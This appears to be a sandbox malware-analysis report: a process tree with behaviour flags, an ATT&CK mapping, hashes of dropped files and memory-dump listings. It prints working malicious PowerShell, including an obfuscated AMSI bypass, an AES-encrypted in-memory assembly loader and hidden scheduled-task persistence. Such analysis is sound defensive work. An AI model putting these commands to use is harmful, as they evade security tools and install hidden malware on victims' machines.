@([String])([IntPtr]);$hbdCnzEjUWeVZUmzAkKAbg=FpmwzPbdRTLf @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$waetfeizMHo=$GsZkCtLSrPrCE.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+'le'+[Char](72)+'an'+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+'ern'+[Char](101)+'l'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$pgyITPqjxOWDJO=$vVenWBpPqfqohx.Invoke($Null,@([Object]$waetfeizMHo,[Object](''+'L'+''+[Char](111)+'ad'+'L'+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+'y'+[Char](65)+'')));$pkxEvWGUFOzrukfbs=$vVenWBpPqfqohx.Invoke($Null,@([Object]$waetfeizMHo,[Object]('Vi'+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+''+'P'+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$neFRENM=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pgyITPqjxOWDJO,$lPLEcpNiAXKbQSDkmSj).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$YTPzsDWeIsMJCLUkY=$vVenWBpPqfqohx.Invoke($Null,@([Object]$neFRENM,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+'B'+'uf'+'f'+''+[Char](101)+''+[Char](114)+'')));$MVNMqkiiEe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pkxEvWGUFOzrukfbs,$hbdCnzEjUWeVZUmzAkKAbg).Invoke($YTPzsDWeIsMJCLUkY,[uint32]8,4,[ref]$MVNMqkiiEe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$YTPzsDWeIsMJCLUkY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pkxEvWGUFOzrukfbs,$hbdCnzEjUWeVZUmzAkKAbg).Invoke($YTPzsDWeIsMJCLUkY,[uint32]8,0x20,[ref]$MVNMqkiiEe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$'+'7'+'7s'+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1400
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2056

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2592

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2852

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3088

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1284
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_835_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_835.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4740
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_835.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4476
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_835.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4512
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:328
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_835.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_835.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2296
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        7⤵
        Executes dropped EXE
        
        PID:1536
        
        C:\Users\Admin\AppData\Local\Temp\New.exe
        
        "C:\Users\Admin\AppData\Local\Temp\New.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3372
        
        C:\Windows\SysWOW64\SCHTASKS.exe
        
        "SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3460

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3832

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3896

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4020

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4420

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:2496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3004

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4592

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4560

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4080

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
581982a03019ca3c71b6e7f26a5d12a4

SHA1
6f580511a42c16f06977697e98b5da193626b5ec

SHA256
2b85b6e4e30872239aadf785e9da0d5e0d0e5b33d16f2390666310def5bc52b7

SHA512
1440bbc849df70da7a033e26d11c68b900b5e1e80ab5be64be3260fce8231e22317ae15b418e516730e8657e57b2dfad1d90dbacf5d7d83842ca84c21c68ef98

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe

Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0dqkpsm.2pr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_835.bat

Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_835.vbs

Filesize
115B

MD5
f4b6d85bda769f7102ab95e22778cd8c

SHA1
0330a301f61c254b6594eb7c6a44388dc3f39712

SHA256
e656d0748c554f56268bb5e1a3223ac5b0fa0aa4e1ebc8ddfc55d5df96345346

SHA512
e0b00404231da4dcb0e4df34e234acbc5aaf6f9b49d49c1d188284ead5032c5e0408f08b4df662ed520d568e304cfc2870c5fb4144ba27953bf1e5f725255cfb

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
338B

MD5
ec03732c2d4996d542b1e4d837a77431

SHA1
78d6361068a9032679336012cc8dca06984bd2bc

SHA256
f7c0c50ba6b27a847e833aa7102084dc884e28b173a392edc375a1bb84cb1cc0

SHA512
982017255871cae22805e0e886ded37c8563baa04b6a08fb7aad8a3d34b51a6cf16f5fa543c93bd3efa9b4aa8710f34ede2235f4ba4f212f4c53e08ac5b83747

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

Filesize
412B

MD5
0f6dca68500c5d59c4c527794b58bf25

SHA1
9735ecf396957957acde95c6c8bc11634748d3e5

SHA256
e6d907fa8b392d4bac31fa1ba646456622871c7e6ed62fd0829a9c1a18d876eb

SHA512
6c4be272d7e3d0f39b027d48dacfc1ddb0db79b1814f7080908621b7b03ede4ca6d213bc4b4a066dee3bd9f97c420018db85b256c81ae86465e9d2884943e865

Download Submit
memory/428-164-0x00007FFF8F570000-0x00007FFF8F580000-memory.dmp

Filesize
64KB

Download
memory/428-158-0x000002BC21120000-0x000002BC2114A000-memory.dmp

Filesize
168KB

Download
memory/428-163-0x000002BC21120000-0x000002BC2114A000-memory.dmp

Filesize
168KB

Download
memory/536-168-0x000002576AF90000-0x000002576AFBA000-memory.dmp

Filesize
168KB

Download
memory/536-174-0x00007FFF8F570000-0x00007FFF8F580000-memory.dmp

Filesize
64KB

Download
memory/536-173-0x000002576AF90000-0x000002576AFBA000-memory.dmp

Filesize
168KB

Download
memory/608-134-0x00007FFF8F570000-0x00007FFF8F580000-memory.dmp

Filesize
64KB

Download
memory/608-127-0x0000023A09C80000-0x0000023A09CAA000-memory.dmp

Filesize
168KB

Download
memory/608-133-0x0000023A09C80000-0x0000023A09CAA000-memory.dmp

Filesize
168KB

Download
memory/608-128-0x0000023A09C80000-0x0000023A09CAA000-memory.dmp

Filesize
168KB

Download
memory/608-126-0x0000023A09C50000-0x0000023A09C75000-memory.dmp

Filesize
148KB

Download
memory/688-144-0x00007FFF8F570000-0x00007FFF8F580000-memory.dmp

Filesize
64KB

Download
memory/688-143-0x000001ACDF5C0000-0x000001ACDF5EA000-memory.dmp

Filesize
168KB

Download
memory/688-138-0x000001ACDF5C0000-0x000001ACDF5EA000-memory.dmp

Filesize
168KB

Download
memory/980-154-0x00007FFF8F570000-0x00007FFF8F580000-memory.dmp

Filesize
64KB

Download
memory/980-153-0x000001F02B5D0000-0x000001F02B5FA000-memory.dmp

Filesize
168KB

Download
memory/980-148-0x000001F02B5D0000-0x000001F02B5FA000-memory.dmp

Filesize
168KB

Download
memory/2296-78-0x0000000008BD0000-0x0000000008C3C000-memory.dmp

Filesize
432KB

Download
memory/2296-79-0x000000000A400000-0x000000000A492000-memory.dmp

Filesize
584KB

Download
memory/2296-110-0x000000000A820000-0x000000000A82A000-memory.dmp

Filesize
40KB

Download
memory/2296-108-0x000000000A6F0000-0x000000000A72C000-memory.dmp

Filesize
240KB

Download
memory/2296-98-0x0000000008D00000-0x0000000008D12000-memory.dmp

Filesize
72KB

Download
memory/3064-114-0x00007FFFCE9E0000-0x00007FFFCEA9D000-memory.dmp

Filesize
756KB

Download
memory/3064-113-0x00007FFFCF4E0000-0x00007FFFCF6E9000-memory.dmp

Filesize
2.0MB

Download
memory/3064-112-0x000001E71AA00000-0x000001E71AA2A000-memory.dmp

Filesize
168KB

Download
memory/3064-99-0x000001E71A640000-0x000001E71A662000-memory.dmp

Filesize
136KB

Download
memory/3068-7-0x00000000056B0000-0x0000000005716000-memory.dmp

Filesize
408KB

Download
memory/3068-3-0x0000000004EC0000-0x00000000054EA000-memory.dmp

Filesize
6.2MB

Download
memory/3068-6-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/3068-16-0x0000000005720000-0x0000000005A77000-memory.dmp

Filesize
3.3MB

Download
memory/3068-22-0x0000000007EA0000-0x0000000007F92000-memory.dmp

Filesize
968KB

Download
memory/3068-73-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3068-23-0x000000000A070000-0x000000000A616000-memory.dmp

Filesize
5.6MB

Download
memory/3068-5-0x0000000005520000-0x0000000005542000-memory.dmp

Filesize
136KB

Download
memory/3068-4-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3068-0-0x000000007516E000-0x000000007516F000-memory.dmp

Filesize
4KB

Download
memory/3068-2-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/3068-1-0x0000000004850000-0x0000000004886000-memory.dmp

Filesize
216KB

Download
memory/3068-17-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

Filesize
120KB

Download
memory/3068-18-0x0000000005C40000-0x0000000005C8C000-memory.dmp

Filesize
304KB

Download
memory/3068-19-0x0000000008440000-0x0000000008ABA000-memory.dmp

Filesize
6.5MB

Download
memory/3068-20-0x00000000061E0000-0x00000000061FA000-memory.dmp

Filesize
104KB

Download
memory/3068-21-0x0000000006170000-0x0000000006178000-memory.dmp

Filesize
32KB

Download
memory/3372-97-0x0000000000670000-0x00000000006DC000-memory.dmp

Filesize
432KB

Download
memory/3604-121-0x00007FFFCF4E0000-0x00007FFFCF6E9000-memory.dmp

Filesize
2.0MB

Download
memory/3604-118-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3604-116-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3604-123-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3604-115-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3604-117-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3604-120-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3604-122-0x00007FFFCE9E0000-0x00007FFFCEA9D000-memory.dmp

Filesize
756KB

Download
memory/4740-45-0x0000000007030000-0x000000000704E000-memory.dmp

Filesize
120KB

Download
memory/4740-51-0x00000000073E0000-0x00000000073F1000-memory.dmp

Filesize
68KB

Download
memory/4740-35-0x0000000006FF0000-0x0000000007024000-memory.dmp

Filesize
208KB

Download
memory/4740-36-0x0000000071350000-0x000000007139C000-memory.dmp

Filesize
304KB

Download
memory/4740-46-0x0000000007060000-0x0000000007104000-memory.dmp

Filesize
656KB

Download
memory/4740-47-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/4740-48-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/4740-49-0x0000000007240000-0x000000000724A000-memory.dmp

Filesize
40KB

Download
memory/4740-50-0x0000000007450000-0x00000000074E6000-memory.dmp

Filesize
600KB

Download
memory/4740-25-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/4740-26-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/4740-55-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download
memory/4740-52-0x0000000075160000-0x0000000075911000-memory.dmp

Filesize
7.7MB

Download